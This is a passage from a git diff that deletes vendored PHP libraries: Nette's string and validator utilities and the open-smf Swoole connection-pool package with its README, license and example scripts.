= defined('ICONV_IMPL') ? trim(ICONV_IMPL, '"\'') : null; - static $transliterator = null; - if ($transliterator === null && class_exists('Transliterator', false)) { - $transliterator = \Transliterator::create('Any-Latin; Latin-ASCII'); - } - - // remove control characters and check UTF-8 validity - $s = self::pcre('preg_replace', ['#[^\x09\x0A\x0D\x20-\x7E\xA0-\x{2FF}\x{370}-\x{10FFFF}]#u', '', $s]); - - // transliteration (by Transliterator and iconv) is not optimal, replace some characters directly - $s = strtr($s, ["\u{201E}" => '"', "\u{201C}" => '"', "\u{201D}" => '"', "\u{201A}" => "'", "\u{2018}" => "'", "\u{2019}" => "'", "\u{B0}" => '^', "\u{42F}" => 'Ya', "\u{44F}" => 'ya', "\u{42E}" => 'Yu', "\u{44E}" => 'yu']); // „ “ ” ‚ ‘ ’ ° Я я Ю ю - if ($iconv !== 'libiconv') { - $s = strtr($s, ["\u{AE}" => '(R)', "\u{A9}" => '(c)', "\u{2026}" => '...', "\u{AB}" => '<<', "\u{BB}" => '>>', "\u{A3}" => 'lb', "\u{A5}" => 'yen', "\u{B2}" => '^2', "\u{B3}" => '^3', "\u{B5}" => 'u', "\u{B9}" => '^1', "\u{BA}" => 'o', "\u{BF}" => '?', "\u{2CA}" => "'", "\u{2CD}" => '_', "\u{2DD}" => '"', "\u{1FEF}" => '', "\u{20AC}" => 'EUR', "\u{2122}" => 'TM', "\u{212E}" => 'e', "\u{2190}" => '<-', "\u{2191}" => '^', "\u{2192}" => '->', "\u{2193}" => 'V', "\u{2194}" => '<->']); // ® © … « » £ ¥ ² ³ µ ¹ º ¿ ˊ ˍ ˝ ` € ™ ℮ ← ↑ → ↓ ↔ - } - - if ($transliterator) { - $s = $transliterator->transliterate($s); - // use iconv because The transliterator leaves some characters out of ASCII, eg → ʾ - if ($iconv === 'glibc') { - $s = strtr($s, '?', "\x01"); // temporarily hide ? to distinguish them from the garbage that iconv creates - $s = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $s); - $s = str_replace(['?', "\x01"], ['', '?'], $s); // remove garbage and restore ? characters - } elseif ($iconv === 'libiconv') { - $s = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $s); - } else { // null or 'unknown' (#216) - $s = self::pcre('preg_replace', ['#[^\x00-\x7F]++#', '', $s]); // remove non-ascii chars - } - } elseif ($iconv === 'glibc' || $iconv === 'libiconv') { - // temporarily hide these characters to distinguish them from the garbage that iconv creates - $s = strtr($s, '`\'"^~?', "\x01\x02\x03\x04\x05\x06"); - if ($iconv === 'glibc') { - // glibc implementation is very limited. transliterate into Windows-1250 and then into ASCII, so most Eastern European characters are preserved - $s = iconv('UTF-8', 'WINDOWS-1250//TRANSLIT//IGNORE', $s); - $s = strtr($s, - "\xa5\xa3\xbc\x8c\xa7\x8a\xaa\x8d\x8f\x8e\xaf\xb9\xb3\xbe\x9c\x9a\xba\x9d\x9f\x9e\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf8\xf9\xfa\xfb\xfc\xfd\xfe\x96\xa0\x8b\x97\x9b\xa6\xad\xb7", - 'ALLSSSSTZZZallssstzzzRAAAALCCCEEEEIIDDNNOOOOxRUUUUYTsraaaalccceeeeiiddnnooooruuuuyt- <->|-.'); - $s = self::pcre('preg_replace', ['#[^\x00-\x7F]++#', '', $s]); - } else { - $s = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $s); - } - // remove garbage that iconv creates during transliteration (eg Ý -> Y') - $s = str_replace(['`', "'", '"', '^', '~', '?'], '', $s); - // restore temporarily hidden characters - $s = strtr($s, "\x01\x02\x03\x04\x05\x06", '`\'"^~?'); - } else { - $s = self::pcre('preg_replace', ['#[^\x00-\x7F]++#', '', $s]); // remove non-ascii chars - } - - return $s; - } - - - /** - * Modifies the UTF-8 string to the form used in the URL, ie removes diacritics and replaces all characters - * except letters of the English alphabet and numbers with a hyphens. - */ - public static function webalize(string $s, string $charlist = null, bool $lower = true): string - { - $s = self::toAscii($s); - if ($lower) { - $s = strtolower($s); - } - $s = self::pcre('preg_replace', ['#[^a-z0-9' . ($charlist !== null ? preg_quote($charlist, '#') : '') . ']+#i', '-', $s]); - $s = trim($s, '-'); - return $s; - } - - - /** - * Truncates a UTF-8 string to given maximal length, while trying not to split whole words. Only if the string is truncated, - * an ellipsis (or something else set with third argument) is appended to the string. - */ - public static function truncate(string $s, int $maxLen, string $append = "\u{2026}"): string - { - if (self::length($s) > $maxLen) { - $maxLen -= self::length($append); - if ($maxLen < 1) { - return $append; - - } elseif ($matches = self::match($s, '#^.{1,' . $maxLen . '}(?=[\s\x00-/:-@\[-`{-~])#us')) { - return $matches[0] . $append; - - } else { - return self::substring($s, 0, $maxLen) . $append; - } - } - return $s; - } - - - /** - * Indents a multiline text from the left. Second argument sets how many indentation chars should be used, - * while the indent itself is the third argument (*tab* by default). - */ - public static function indent(string $s, int $level = 1, string $chars = "\t"): string - { - if ($level > 0) { - $s = self::replace($s, '#(?:^|[\r\n]+)(?=[^\r\n])#', '$0' . str_repeat($chars, $level)); - } - return $s; - } - - - /** - * Converts all characters of UTF-8 string to lower case. - */ - public static function lower(string $s): string - { - return mb_strtolower($s, 'UTF-8'); - } - - - /** - * Converts the first character of a UTF-8 string to lower case and leaves the other characters unchanged. - */ - public static function firstLower(string $s): string - { - return self::lower(self::substring($s, 0, 1)) . self::substring($s, 1); - } - - - /** - * Converts all characters of a UTF-8 string to upper case. - */ - public static function upper(string $s): string - { - return mb_strtoupper($s, 'UTF-8'); - } - - - /** - * Converts the first character of a UTF-8 string to upper case and leaves the other characters unchanged. - */ - public static function firstUpper(string $s): string - { - return self::upper(self::substring($s, 0, 1)) . self::substring($s, 1); - } - - - /** - * Converts the first character of every word of a UTF-8 string to upper case and the others to lower case. - */ - public static function capitalize(string $s): string - { - return mb_convert_case($s, MB_CASE_TITLE, 'UTF-8'); - } - - - /** - * Compares two UTF-8 strings or their parts, without taking character case into account. If length is null, whole strings are compared, - * if it is negative, the corresponding number of characters from the end of the strings is compared, - * otherwise the appropriate number of characters from the beginning is compared. - */ - public static function compare(string $left, string $right, int $length = null): bool - { - if (class_exists('Normalizer', false)) { - $left = \Normalizer::normalize($left, \Normalizer::FORM_D); // form NFD is faster - $right = \Normalizer::normalize($right, \Normalizer::FORM_D); // form NFD is faster - } - - if ($length < 0) { - $left = self::substring($left, $length, -$length); - $right = self::substring($right, $length, -$length); - } elseif ($length !== null) { - $left = self::substring($left, 0, $length); - $right = self::substring($right, 0, $length); - } - return self::lower($left) === self::lower($right); - } - - - /** - * Finds the common prefix of strings or returns empty string if the prefix was not found. - * @param string[] $strings - */ - public static function findPrefix(array $strings): string - { - $first = array_shift($strings); - for ($i = 0; $i < strlen($first); $i++) { - foreach ($strings as $s) { - if (!isset($s[$i]) || $first[$i] !== $s[$i]) { - while ($i && $first[$i - 1] >= "\x80" && $first[$i] >= "\x80" && $first[$i] < "\xC0") { - $i--; - } - return substr($first, 0, $i); - } - } - } - return $first; - } - - - /** - * Returns number of characters (not bytes) in UTF-8 string. - * That is the number of Unicode code points which may differ from the number of graphemes. - */ - public static function length(string $s): int - { - return function_exists('mb_strlen') ? mb_strlen($s, 'UTF-8') : strlen(utf8_decode($s)); - } - - - /** - * Removes all left and right side spaces (or the characters passed as second argument) from a UTF-8 encoded string. - */ - public static function trim(string $s, string $charlist = self::TRIM_CHARACTERS): string - { - $charlist = preg_quote($charlist, '#'); - return self::replace($s, '#^[' . $charlist . ']+|[' . $charlist . ']+$#Du', ''); - } - - - /** - * Pads a UTF-8 string to given length by prepending the $pad string to the beginning. - */ - public static function padLeft(string $s, int $length, string $pad = ' '): string - { - $length = max(0, $length - self::length($s)); - $padLen = self::length($pad); - return str_repeat($pad, (int) ($length / $padLen)) . self::substring($pad, 0, $length % $padLen) . $s; - } - - - /** - * Pads UTF-8 string to given length by appending the $pad string to the end. - */ - public static function padRight(string $s, int $length, string $pad = ' '): string - { - $length = max(0, $length - self::length($s)); - $padLen = self::length($pad); - return $s . str_repeat($pad, (int) ($length / $padLen)) . self::substring($pad, 0, $length % $padLen); - } - - - /** - * Reverses UTF-8 string. - */ - public static function reverse(string $s): string - { - if (!extension_loaded('iconv')) { - throw new Nette\NotSupportedException(__METHOD__ . '() requires ICONV extension that is not loaded.'); - } - return iconv('UTF-32LE', 'UTF-8', strrev(iconv('UTF-8', 'UTF-32BE', $s))); - } - - - /** - * Returns part of $haystack before $nth occurence of $needle or returns null if the needle was not found. - * Negative value means searching from the end. - */ - public static function before(string $haystack, string $needle, int $nth = 1): ?string - { - $pos = self::pos($haystack, $needle, $nth); - return $pos === null - ? null - : substr($haystack, 0, $pos); - } - - - /** - * Returns part of $haystack after $nth occurence of $needle or returns null if the needle was not found. - * Negative value means searching from the end. - */ - public static function after(string $haystack, string $needle, int $nth = 1): ?string - { - $pos = self::pos($haystack, $needle, $nth); - return $pos === null - ? null - : substr($haystack, $pos + strlen($needle)); - } - - - /** - * Returns position in bytes of $nth occurence of $needle in $haystack or null if the $needle was not found. - * Negative value of `$nth` means searching from the end. - */ - public static function indexOf(string $haystack, string $needle, int $nth = 1): ?int - { - $pos = self::pos($haystack, $needle, $nth); - return $pos === null - ? null - : self::length(substr($haystack, 0, $pos)); - } - - - /** - * Returns position in bytes of $nth occurence of $needle in $haystack or null if the needle was not found. - */ - private static function pos(string $haystack, string $needle, int $nth = 1): ?int - { - if (!$nth) { - return null; - } elseif ($nth > 0) { - if ($needle === '') { - return 0; - } - $pos = 0; - while (($pos = strpos($haystack, $needle, $pos)) !== false && --$nth) { - $pos++; - } - } else { - $len = strlen($haystack); - if ($needle === '') { - return $len; - } - $pos = $len - 1; - while (($pos = strrpos($haystack, $needle, $pos - $len)) !== false && ++$nth) { - $pos--; - } - } - return Helpers::falseToNull($pos); - } - - - /** - * Splits a string into array by the regular expression. - * Argument $flag takes same arguments as preg_split(), but PREG_SPLIT_DELIM_CAPTURE is set by default. - */ - public static function split(string $subject, string $pattern, int $flags = 0): array - { - return self::pcre('preg_split', [$pattern, $subject, -1, $flags | PREG_SPLIT_DELIM_CAPTURE]); - } - - - /** - * Checks if given string matches a regular expression pattern and returns an array with first found match and each subpattern. - * Argument $flag takes same arguments as function preg_match(). - */ - public static function match(string $subject, string $pattern, int $flags = 0, int $offset = 0): ?array - { - if ($offset > strlen($subject)) { - return null; - } - return self::pcre('preg_match', [$pattern, $subject, &$m, $flags, $offset]) - ? $m - : null; - } - - - /** - * Finds all occurrences matching regular expression pattern and returns a two-dimensional array. - * Argument $flag takes same arguments as function preg_match_all(), but PREG_SET_ORDER is set by default. - */ - public static function matchAll(string $subject, string $pattern, int $flags = 0, int $offset = 0): array - { - if ($offset > strlen($subject)) { - return []; - } - self::pcre('preg_match_all', [ - $pattern, $subject, &$m, - ($flags & PREG_PATTERN_ORDER) ? $flags : ($flags | PREG_SET_ORDER), - $offset, - ]); - return $m; - } - - - /** - * Replaces all occurrences matching regular expression $pattern which can be string or array in the form `pattern => replacement`. - * @param string|array $pattern - * @param string|callable $replacement - */ - public static function replace(string $subject, $pattern, $replacement = null, int $limit = -1): string - { - if (is_object($replacement) || is_array($replacement)) { - if (!is_callable($replacement, false, $textual)) { - throw new Nette\InvalidStateException("Callback '$textual' is not callable."); - } - return self::pcre('preg_replace_callback', [$pattern, $replacement, $subject, $limit]); - - } elseif ($replacement === null && is_array($pattern)) { - $replacement = array_values($pattern); - $pattern = array_keys($pattern); - } - - return self::pcre('preg_replace', [$pattern, $replacement, $subject, $limit]); - } - - - /** @internal */ - public static function pcre(string $func, array $args) - { - $res = Callback::invokeSafe($func, $args, function (string $message) use ($args): void { - // compile-time error, not detectable by preg_last_error - throw new RegexpException($message . ' in pattern: ' . implode(' or ', (array) $args[0])); - }); - - if (($code = preg_last_error()) // run-time error, but preg_last_error & return code are liars - && ($res === null || !in_array($func, ['preg_filter', 'preg_replace_callback', 'preg_replace'], true)) - ) { - throw new RegexpException((RegexpException::MESSAGES[$code] ?? 'Unknown error') - . ' (pattern: ' . implode(' or ', (array) $args[0]) . ')', $code); - } - return $res; - } -} diff --git a/vendor/nette/utils/src/Utils/Validators.php b/vendor/nette/utils/src/Utils/Validators.php deleted file mode 100644 index 8005a52..0000000 --- a/vendor/nette/utils/src/Utils/Validators.php +++ /dev/null @@ -1,369 +0,0 @@ - */ - protected static $validators = [ - // PHP types - 'array' => 'is_array', - 'bool' => 'is_bool', - 'boolean' => 'is_bool', - 'float' => 'is_float', - 'int' => 'is_int', - 'integer' => 'is_int', - 'null' => 'is_null', - 'object' => 'is_object', - 'resource' => 'is_resource', - 'scalar' => 'is_scalar', - 'string' => 'is_string', - - // pseudo-types - 'callable' => [__CLASS__, 'isCallable'], - 'iterable' => 'is_iterable', - 'list' => [Arrays::class, 'isList'], - 'mixed' => [__CLASS__, 'isMixed'], - 'none' => [__CLASS__, 'isNone'], - 'number' => [__CLASS__, 'isNumber'], - 'numeric' => [__CLASS__, 'isNumeric'], - 'numericint' => [__CLASS__, 'isNumericInt'], - - // string patterns - 'alnum' => 'ctype_alnum', - 'alpha' => 'ctype_alpha', - 'digit' => 'ctype_digit', - 'lower' => 'ctype_lower', - 'pattern' => null, - 'space' => 'ctype_space', - 'unicode' => [__CLASS__, 'isUnicode'], - 'upper' => 'ctype_upper', - 'xdigit' => 'ctype_xdigit', - - // syntax validation - 'email' => [__CLASS__, 'isEmail'], - 'identifier' => [__CLASS__, 'isPhpIdentifier'], - 'uri' => [__CLASS__, 'isUri'], - 'url' => [__CLASS__, 'isUrl'], - - // environment validation - 'class' => 'class_exists', - 'interface' => 'interface_exists', - 'directory' => 'is_dir', - 'file' => 'is_file', - 'type' => [__CLASS__, 'isType'], - ]; - - /** @var array */ - protected static $counters = [ - 'string' => 'strlen', - 'unicode' => [Strings::class, 'length'], - 'array' => 'count', - 'list' => 'count', - 'alnum' => 'strlen', - 'alpha' => 'strlen', - 'digit' => 'strlen', - 'lower' => 'strlen', - 'space' => 'strlen', - 'upper' => 'strlen', - 'xdigit' => 'strlen', - ]; - - - /** - * Verifies that the value is of expected types separated by pipe. - * @param mixed $value - * @throws AssertionException - */ - public static function assert($value, string $expected, string $label = 'variable'): void - { - if (!static::is($value, $expected)) { - $expected = str_replace(['|', ':'], [' or ', ' in range '], $expected); - static $translate = ['boolean' => 'bool', 'integer' => 'int', 'double' => 'float', 'NULL' => 'null']; - $type = $translate[gettype($value)] ?? gettype($value); - if (is_int($value) || is_float($value) || (is_string($value) && strlen($value) < 40)) { - $type .= ' ' . var_export($value, true); - } elseif (is_object($value)) { - $type .= ' ' . get_class($value); - } - throw new AssertionException("The $label expects to be $expected, $type given."); - } - } - - - /** - * Verifies that element $key in array is of expected types separated by pipe. - * @param mixed[] $array - * @param int|string $key - * @throws AssertionException - */ - public static function assertField(array $array, $key, string $expected = null, string $label = "item '%' in array"): void - { - if (!array_key_exists($key, $array)) { - throw new AssertionException('Missing ' . str_replace('%', $key, $label) . '.'); - - } elseif ($expected) { - static::assert($array[$key], $expected, str_replace('%', $key, $label)); - } - } - - - /** - * Verifies that the value is of expected types separated by pipe. - * @param mixed $value - */ - public static function is($value, string $expected): bool - { - foreach (explode('|', $expected) as $item) { - if (substr($item, -2) === '[]') { - if (is_iterable($value) && self::everyIs($value, substr($item, 0, -2))) { - return true; - } - continue; - } elseif (substr($item, 0, 1) === '?') { - $item = substr($item, 1); - if ($value === null) { - return true; - } - } - - [$type] = $item = explode(':', $item, 2); - if (isset(static::$validators[$type])) { - try { - if (!static::$validators[$type]($value)) { - continue; - } - } catch (\TypeError $e) { - continue; - } - } elseif ($type === 'pattern') { - if (Strings::match($value, '|^' . ($item[1] ?? '') . '$|D')) { - return true; - } - continue; - } elseif (!$value instanceof $type) { - continue; - } - - if (isset($item[1])) { - $length = $value; - if (isset(static::$counters[$type])) { - $length = static::$counters[$type]($value); - } - $range = explode('..', $item[1]); - if (!isset($range[1])) { - $range[1] = $range[0]; - } - if (($range[0] !== '' && $length < $range[0]) || ($range[1] !== '' && $length > $range[1])) { - continue; - } - } - return true; - } - return false; - } - - - /** - * Finds whether all values are of expected types separated by pipe. - * @param mixed[] $values - */ - public static function everyIs(iterable $values, string $expected): bool - { - foreach ($values as $value) { - if (!static::is($value, $expected)) { - return false; - } - } - return true; - } - - - /** - * Checks if the value is an integer or a float. - * @param mixed $value - */ - public static function isNumber($value): bool - { - return is_int($value) || is_float($value); - } - - - /** - * Checks if the value is an integer or a integer written in a string. - * @param mixed $value - */ - public static function isNumericInt($value): bool - { - return is_int($value) || (is_string($value) && preg_match('#^[+-]?[0-9]+$#D', $value)); - } - - - /** - * Checks if the value is a number or a number written in a string. - * @param mixed $value - */ - public static function isNumeric($value): bool - { - return is_float($value) || is_int($value) || (is_string($value) && preg_match('#^[+-]?[0-9]*[.]?[0-9]+$#D', $value)); - } - - - /** - * Checks if the value is a syntactically correct callback. - * @param mixed $value - */ - public static function isCallable($value): bool - { - return $value && is_callable($value, true); - } - - - /** - * Checks if the value is a valid UTF-8 string. - * @param mixed $value - */ - public static function isUnicode($value): bool - { - return is_string($value) && preg_match('##u', $value); - } - - - /** - * Checks if the value is 0, '', false or null. - * @param mixed $value - */ - public static function isNone($value): bool - { - return $value == null; // intentionally == - } - - - /** @internal */ - public static function isMixed(): bool - { - return true; - } - - - /** - * Checks if a variable is a zero-based integer indexed array. - * @param mixed $value - * @deprecated use Nette\Utils\Arrays::isList - */ - public static function isList($value): bool - { - return Arrays::isList($value); - } - - - /** - * Checks if the value is in the given range [min, max], where the upper or lower limit can be omitted (null). - * Numbers, strings and DateTime objects can be compared. - * @param mixed $value - */ - public static function isInRange($value, array $range): bool - { - if ($value === null || !(isset($range[0]) || isset($range[1]))) { - return false; - } - $limit = $range[0] ?? $range[1]; - if (is_string($limit)) { - $value = (string) $value; - } elseif ($limit instanceof \DateTimeInterface) { - if (!$value instanceof \DateTimeInterface) { - return false; - } - } elseif (is_numeric($value)) { - $value *= 1; - } else { - return false; - } - return (!isset($range[0]) || ($value >= $range[0])) && (!isset($range[1]) || ($value <= $range[1])); - } - - - /** - * Checks if the value is a valid email address. It does not verify that the domain actually exists, only the syntax is verified. - */ - public static function isEmail(string $value): bool - { - $atom = "[-a-z0-9!#$%&'*+/=?^_`{|}~]"; // RFC 5322 unquoted characters in local-part - $alpha = "a-z\x80-\xFF"; // superset of IDN - return (bool) preg_match(<< 'Internal error', - PREG_BACKTRACK_LIMIT_ERROR => 'Backtrack limit was exhausted', - PREG_RECURSION_LIMIT_ERROR => 'Recursion limit was exhausted', - PREG_BAD_UTF8_ERROR => 'Malformed UTF-8 data', - PREG_BAD_UTF8_OFFSET_ERROR => 'Offset didn\'t correspond to the begin of a valid UTF-8 code point', - 6 => 'Failed due to limited JIT stack space', // PREG_JIT_STACKLIMIT_ERROR - ]; -} - - -/** - * The exception that indicates assertion error. - */ -class AssertionException extends \Exception -{ -} diff --git a/vendor/open-smf/connection-pool/.gitignore b/vendor/open-smf/connection-pool/.gitignore deleted file mode 100644 index 4ea43d4..0000000 --- a/vendor/open-smf/connection-pool/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -vendor -.idea -composer.lock -*.sw[a-z] \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/LICENSE b/vendor/open-smf/connection-pool/LICENSE deleted file mode 100644 index 8226a7c..0000000 --- a/vendor/open-smf/connection-pool/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2019 Swoole Micro-Framework - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/open-smf/connection-pool/README.md b/vendor/open-smf/connection-pool/README.md deleted file mode 100644 index a746821..0000000 --- a/vendor/open-smf/connection-pool/README.md +++ /dev/null @@ -1,223 +0,0 @@ -# Connection pool -A common connection pool based on Swoole is usually used as the database connection pool. - -[![Latest Version](https://img.shields.io/github/release/open-smf/connection-pool.svg)](https://github.com/open-smf/connection-pool/releases) -[![PHP Version](https://img.shields.io/packagist/php-v/open-smf/connection-pool.svg?color=green)](https://secure.php.net) -[![Total Downloads](https://poser.pugx.org/open-smf/connection-pool/downloads)](https://packagist.org/packages/open-smf/connection-pool) -[![License](https://poser.pugx.org/open-smf/connection-pool/license)](LICENSE) - -## Requirements - -| Dependency | Requirement | -| -------- | -------- | -| [PHP](https://secure.php.net/manual/en/install.php) | `>=7.0.0` | -| [Swoole](https://github.com/swoole/swoole-src) | `>=4.2.9` `Recommend 4.2.13+` | - -## Install -> Install package via [Composer](https://getcomposer.org/). - -```shell -composer require "open-smf/connection-pool:~1.0" -``` - -## Usage -> See more [examples](examples). - -- Available connectors - -| Connector | Connection description | -| -------- | -------- | -| CoroutineMySQLConnector | Instance of `Swoole\Coroutine\MySQL` | -| CoroutinePostgreSQLConnector | Instance of `Swoole\Coroutine\PostgreSQL`, require configuring `Swoole` with `--enable-coroutine-postgresql`| -| CoroutineRedisConnector | Instance of `Swoole\Coroutine\Redis` | -| PhpRedisConnector | Instance of `Redis`, require [redis](https://pecl.php.net/package/redis) | -| PDOConnector | Instance of `PDO`, require [PDO](https://www.php.net/manual/en/book.pdo.php) | -| YourConnector | `YourConnector` must implement interface `ConnectorInterface`, any object can be used as a connection instance | - -- Basic usage - -```php -use Smf\ConnectionPool\ConnectionPool; -use Smf\ConnectionPool\Connectors\CoroutineMySQLConnector; -use Swoole\Coroutine\MySQL; - -go(function () { - // All MySQL connections: [10, 30] - $pool = new ConnectionPool( - [ - 'minActive' => 10, - 'maxActive' => 30, - 'maxWaitTime' => 5, - 'maxIdleTime' => 20, - 'idleCheckInterval' => 10, - ], - new CoroutineMySQLConnector, - [ - 'host' => '127.0.0.1', - 'port' => '3306', - 'user' => 'root', - 'password' => 'xy123456', - 'database' => 'mysql', - 'timeout' => 10, - 'charset' => 'utf8mb4', - 'strict_type' => true, - 'fetch_mode' => true, - ] - ); - echo "Initializing connection pool\n"; - $pool->init(); - defer(function () use ($pool) { - echo "Closing connection pool\n"; - $pool->close(); - }); - - echo "Borrowing the connection from pool\n"; - /**@var MySQL $connection */ - $connection = $pool->borrow(); - - $status = $connection->query('SHOW STATUS LIKE "Threads_connected"'); - - echo "Return the connection to pool as soon as possible\n"; - $pool->return($connection); - - var_dump($status); -}); -``` - -- Usage in Swoole Server - -```php -use Smf\ConnectionPool\ConnectionPool; -use Smf\ConnectionPool\ConnectionPoolTrait; -use Smf\ConnectionPool\Connectors\CoroutineMySQLConnector; -use Smf\ConnectionPool\Connectors\PhpRedisConnector; -use Swoole\Coroutine\MySQL; -use Swoole\Http\Request; -use Swoole\Http\Response; -use Swoole\Http\Server; - -class HttpServer -{ - use ConnectionPoolTrait; - - protected $swoole; - - public function __construct(string $host, int $port) - { - $this->swoole = new Server($host, $port); - - $this->setDefault(); - $this->bindWorkerEvents(); - $this->bindHttpEvent(); - } - - protected function setDefault() - { - $this->swoole->set([ - 'daemonize' => false, - 'dispatch_mode' => 1, - 'max_request' => 8000, - 'open_tcp_nodelay' => true, - 'reload_async' => true, - 'max_wait_time' => 60, - 'enable_reuse_port' => true, - 'enable_coroutine' => true, - 'http_compression' => false, - 'enable_static_handler' => false, - 'buffer_output_size' => 4 * 1024 * 1024, - 'worker_num' => 4, // Each worker holds a connection pool - ]); - } - - protected function bindHttpEvent() - { - $this->swoole->on('Request', function (Request $request, Response $response) { - $pool1 = $this->getConnectionPool('mysql'); - /**@var MySQL $mysql */ - $mysql = $pool1->borrow(); - $status = $mysql->query('SHOW STATUS LIKE "Threads_connected"'); - // Return the connection to pool as soon as possible - $pool1->return($mysql); - - - $pool2 = $this->getConnectionPool('redis'); - /**@var \Redis $redis */ - $redis = $pool2->borrow(); - $clients = $redis->info('Clients'); - // Return the connection to pool as soon as possible - $pool2->return($redis); - - $json = [ - 'status' => $status, - 'clients' => $clients, - ]; - // Other logic - // ... - $response->header('Content-Type', 'application/json'); - $response->end(json_encode($json)); - }); - } - - protected function bindWorkerEvents() - { - $createPools = function () { - // All MySQL connections: [4 workers * 2 = 8, 4 workers * 10 = 40] - $pool1 = new ConnectionPool( - [ - 'minActive' => 2, - 'maxActive' => 10, - ], - new CoroutineMySQLConnector, - [ - 'host' => '127.0.0.1', - 'port' => '3306', - 'user' => 'root', - 'password' => 'xy123456', - 'database' => 'mysql', - 'timeout' => 10, - 'charset' => 'utf8mb4', - 'strict_type' => true, - 'fetch_mode' => true, - ]); - $pool1->init(); - $this->addConnectionPool('mysql', $pool1); - - // All Redis connections: [4 workers * 5 = 20, 4 workers * 20 = 80] - $pool2 = new ConnectionPool( - [ - 'minActive' => 5, - 'maxActive' => 20, - ], - new PhpRedisConnector, - [ - 'host' => '127.0.0.1', - 'port' => '6379', - 'database' => 0, - 'password' => null, - ]); - $pool2->init(); - $this->addConnectionPool('redis', $pool2); - }; - $closePools = function () { - $this->closeConnectionPools(); - }; - $this->swoole->on('WorkerStart', $createPools); - $this->swoole->on('WorkerStop', $closePools); - $this->swoole->on('WorkerError', $closePools); - } - - public function start() - { - $this->swoole->start(); - } -} - -// Enable coroutine for PhpRedis -Swoole\Runtime::enableCoroutine(); -$server = new HttpServer('0.0.0.0', 5200); -$server->start(); -``` - -## License - -[MIT](LICENSE) \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/composer.json b/vendor/open-smf/connection-pool/composer.json deleted file mode 100644 index e1dd30c..0000000 --- a/vendor/open-smf/connection-pool/composer.json +++ /dev/null @@ -1,40 +0,0 @@ -{ - "name": "open-smf/connection-pool", - "type": "library", - "license": "MIT", - "support": { - "issues": "https://github.com/open-smf/connection-pool/issues", - "source": "https://github.com/open-smf/connection-pool" - }, - "description": "A common connection pool based on Swoole is usually used as the database connection pool.", - "keywords": [ - "swoole", - "connection-pool", - "database-connection-pool" - ], - "homepage": "https://github.com/open-smf/connection-pool", - "authors": [ - { - "name": "Xie Biao", - "email": "hhxsv5@sina.com" - } - ], - "require": { - "php": ">=7.0.0", - "ext-json": "*", - "ext-swoole": ">=4.2.9" - }, - "suggest": { - "ext-redis": "A PHP extension for Redis." - }, - "autoload": { - "psr-4": { - "Smf\\ConnectionPool\\": "src" - } - }, - "prefer-stable": true, - "minimum-stability": "dev", - "require-dev": { - "swoole/ide-helper": "@dev" - } -} diff --git a/vendor/open-smf/connection-pool/examples/coroutine-mysql.php b/vendor/open-smf/connection-pool/examples/coroutine-mysql.php deleted file mode 100644 index 5a38d58..0000000 --- a/vendor/open-smf/connection-pool/examples/coroutine-mysql.php +++ /dev/null @@ -1,48 +0,0 @@ - 10, - 'maxActive' => 30, - 'maxWaitTime' => 5, - 'maxIdleTime' => 20, - 'idleCheckInterval' => 10, - ], - new CoroutineMySQLConnector, - [ - 'host' => '127.0.0.1', - 'port' => '3306', - 'user' => 'root', - 'password' => 'xy123456', - 'database' => 'mysql', - 'timeout' => 10, - 'charset' => 'utf8mb4', - 'strict_type' => true, - 'fetch_mode' => true, - ] - ); - echo "Initializing connection pool\n"; - $pool->init(); - defer(function () use ($pool) { - echo "Closing connection pool\n"; - $pool->close(); - }); - - echo "Borrowing the connection from pool\n"; - /**@var MySQL $connection */ - $connection = $pool->borrow(); - - $status = $connection->query('SHOW STATUS LIKE "Threads_connected"'); - - echo "Return the connection to pool as soon as possible\n"; - $pool->return($connection); - - var_dump($status); -}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-postgresql.php b/vendor/open-smf/connection-pool/examples/coroutine-postgresql.php deleted file mode 100644 index f0c6be4..0000000 --- a/vendor/open-smf/connection-pool/examples/coroutine-postgresql.php +++ /dev/null @@ -1,41 +0,0 @@ - 10, - 'maxActive' => 30, - 'maxWaitTime' => 5, - 'maxIdleTime' => 20, - 'idleCheckInterval' => 10, - ], - new CoroutinePostgreSQLConnector, - [ - 'connection_strings' => 'host=127.0.0.1 port=5432 dbname=postgres user=postgres password=xy123456', - ] - ); - echo "Initializing connection pool\n"; - $pool->init(); - defer(function () use ($pool) { - echo "Closing connection pool\n"; - $pool->close(); - }); - - echo "Borrowing the connection from pool\n"; - /**@var PostgreSQL $connection */ - $connection = $pool->borrow(); - - $result = $connection->query("SELECT * FROM pg_stat_database where datname='postgres';"); - - $stat = $connection->fetchAssoc($result); - echo "Return the connection to pool as soon as possible\n"; - $pool->return($connection); - - var_dump($stat); -}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-redis.php b/vendor/open-smf/connection-pool/examples/coroutine-redis.php deleted file mode 100644 index 183cfab..0000000 --- 